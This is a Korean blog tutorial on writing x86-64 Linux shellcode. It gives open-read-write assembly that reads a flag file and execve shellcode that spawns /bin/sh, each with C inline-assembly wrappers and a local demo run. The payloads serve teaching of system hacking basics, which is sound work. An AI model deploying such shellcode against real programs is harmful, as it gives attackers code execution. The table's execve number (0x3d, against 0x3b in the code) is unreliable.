1. 쉘코드가 무엇인가
1.1 말 그대로의 의미
쉘코드는 영어로 (ShellCode) 즉 쉘을 얻기 위한 어셈블리 코드 조각을 말합니다. 쉘은 시스템에서 커널과 사용자 간의 다리역할을 하는 것으로 생각하면 됩니다. 그래서 실행중인 프로그램에서 프로그램 실행 도중 쉘을 실행시킬 수 있다면 원하는 임의의 코드를 작동시킬 수 있습니다.
1.2 주요 쉘 코드
orw ( open - read - write ) 쉘 코드
시스템에서 어떤 파일을 읽을 때 기본적으로 파일을 열고 읽거나 쓰는 동작을 수행합니다. 해당 동작 과정에서 레지스터의 값을 가지고 어떤 파일을, 어떤 방식으로, 얼마만큼 읽을지 설정하고 원하는 동작을 수행할 수 있습니다.
execve 쉘 코드
execve()는 filename이 가르키는 파일을 실행합니다. file은 바이너리 파일이거나, 스크립트 파일이여야 합니다. 여기서 만약에 /bin/sh 파일을 가르킨다면. 쉘을 실행할 수 있는 권한을 얻게 됩니다. 해당 권한을 얻기 위해서 작성하는 쉘 코드를 execve 쉘 코드라고 합니다.
2. orw 쉘코드 작성 방법
2.1 orw 쉘 코드 작성
orw는 순서대로 open, read, write입니다. 어셈블리에서 해당 작업을 수행하려면 어떤 환경에서 해당 명령어를 수행 시킬 수 있는지 알아야 합니다.
syscall | rax | rdi | rsi | rdx |
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
해당 레지스터에 값을 설정하고 syscall을 진행하게 되면 매개변수에 맞는 시스템 콜을 실행시킬 수 있습니다. 예시로 open systemcall 을 진행하기 위해서 어샘블리 코드를 작성해보겠습니다.
♣ 파일 서술자(File Descriptor, fd) --feat. dreamhack
유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자입니다. 프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장합니다. 서술자 각각은 번호로 구별되는데,
일반적으로 0번은 일반 입력(Standard Input, STDIN), 1번은 일반 출력(Standard Output, STDOUT), 2번은 일반 오류(Standard Error, STDERR)에 할당되어 있으며, 이들은 프로세스를 터미널과 연결해줍니다. 그래서 우리는 키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있습니다.
open
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi => "/tmp/flag"
xor rsi, rsi ; rsi => xor 결과는 0 ; RD_ONLY
xor rdx, rdx ; rdx => 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; => 결과적으로 실행되는 메서드는 open("/tmp/flag", RD_ONLY, NULL)
여기서 rsi에 들어가는 매개변수는 0일 경우 read-only, 1일경우 write-only, 2일경우 read, write모드로 진입합니다.
read
mov rdi, rax ; rdi = fd => open 이후 지정
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf 크기 할당, 스택은 반대로 자라기 때문에 -0x30이다.
mov rdx, 0x30 ; rdx = 0x30 ; len 할당된 길이
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; 결과적으로 read(fd, buf, 0x30)
write
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
- rdi가 1이란는 것은 fd가 stdout입니다.
- rsi의 경우 이전에 read에서 사용한 버퍼 길이와 크기를 재사용합니다.
- rax를 1로 설정해서 write로 세팅하고 시스템 콜을 호출합니다.
2.2 컴파일
현재까지 작성한 코드는 어셈블리 언어로 작성된 코드입니다. 만약 해당 파일이 기계어로 변환된다면 CPU가 해석하고 실행할 수 있습니다. 하지만 해당 과정을 수행할 때 ELF파일 즉, 리눅스 실행 파일 형식으로 변경하고(컴파일 과정) 그냥 실행을 시키게 된다면 동일한 결과를 얻을 수 있습니다. 다음은 해당 코드입니다 --feat.dreamhack
// File name: read_flag.c
// Compile: gcc -o read_flag read_flag.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
- __asm__은 GCC에서 제공하는 어셈블리 인라인(Inline Assembly) 기능입니다. 이 매크로는 C 코드 내에서 직접 어셈블리 코드를 작성할 수 있게 해줍니다. 이렇게 작성된 어셈블리 코드는 컴파일러에 의해 어셈블러로 전달되고, 최종적으로 기계어로 변환됩니다.
- run_sh는 __asm__의 매크로 인자로 지정된 블록이 함수로 처리되도록 하기 위해서 선언합니다.
- 한마디로 정리하면 __asm__ 안에 작성된 어셈블리 코드는 run_sh() 라는 이름의 함수로 컴파일되어 프로그램에 포함됩니다.
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
$ gcc -o read_flag read_flag.c -masm=intel
./read_flag
- 임의로 /tmp 폴더에 flag라는 파일을 생성하고 flag{} 형식의 문자열을 생성합니다. 아무 내용이나 들어가도 상관 없습니다. 이 글에서 만든 쉘코드는 해당 /tmp/flag 파일을 읽어서 출력하게 될 것입니다.
- gcc로 해당 c코드를 컴파일 하여 결과를 확인할 수 있습니다.
3. execve 쉘코드 작성
3.1 execve 호출 규약
앞서서 execve는 원하는 실행 파일을 실행시킬 수 있는 호출 메서드라고 말했습니다. 만약에 /bin 디렉터리에 있는 /sh를 실행 시킬 수 있다면. 원하는 임의의 명령어를 실행시킬 수 있지 않을까요? 한번 execve 쉘 코드 작성을 해보겠습니다.
※ 리눅스에서는 기본적으로 sh, bash를 쉘 프로그램으로 탑재하고 있습니다.
기본적으로 execve 호출 규약은 다음과 같습니다.
syscall | rax | rdi | rsi | rdx |
execve | 0x3d | const char *file name | const char *const *argv | const char *const *envp |
- 여기서 argv는 실행 파일에 넘겨줄 인자
- envp는 환경 변수입니다.
3.2 execve 함수 어셈블리 코드
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
- 여기서 rsi와 rdx가 null인 이유는 /bin/sh를 실행시킬 것이기 때문입니다.
- 문자열 종료를 알리기 위해서 \x00을 붙여줍니다.
3.3 execve 함수 ELF형식으로 컴파일
ELF 형식으로 컴파일 하기 위한 C 코드
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
컴파일 후 execve 실행 결과
┌──(jalnik㉿jalnik)-[~/reversing/basic/linux_Arch/shell]
└─$ gcc -o execve execve.c -masm=intel
┌──(jalnik㉿jalnik)-[~/reversing/basic/linux_Arch/shell]
└─$ ls -l
total 36
-rwxrwxrwx 1 jalnik jalnik 15864 Aug 4 15:32 execve
-rwxrwxrwx 1 jalnik jalnik 526 Aug 4 15:29 execve.c
-rwxrwxrwx 1 jalnik jalnik 15864 Aug 3 22:52 readflag
-rwxrwxrwx 1 jalnik jalnik 1004 Aug 3 22:52 readflag.c
┌──(jalnik㉿jalnik)-[~/reversing/basic/linux_Arch/shell]
└─$ ./execve
$ id
uid=1000(jalnik) gid=1000(jalnik) groups=1000(jalnik)
'모의해킹 및 정보보안 > 시스템 취약점 분석' 카테고리의 다른 글
[ Pwn 101 ] 시스템 해킹 기초 - pwntools 사용법 (0) | 2023.08.02 |
---|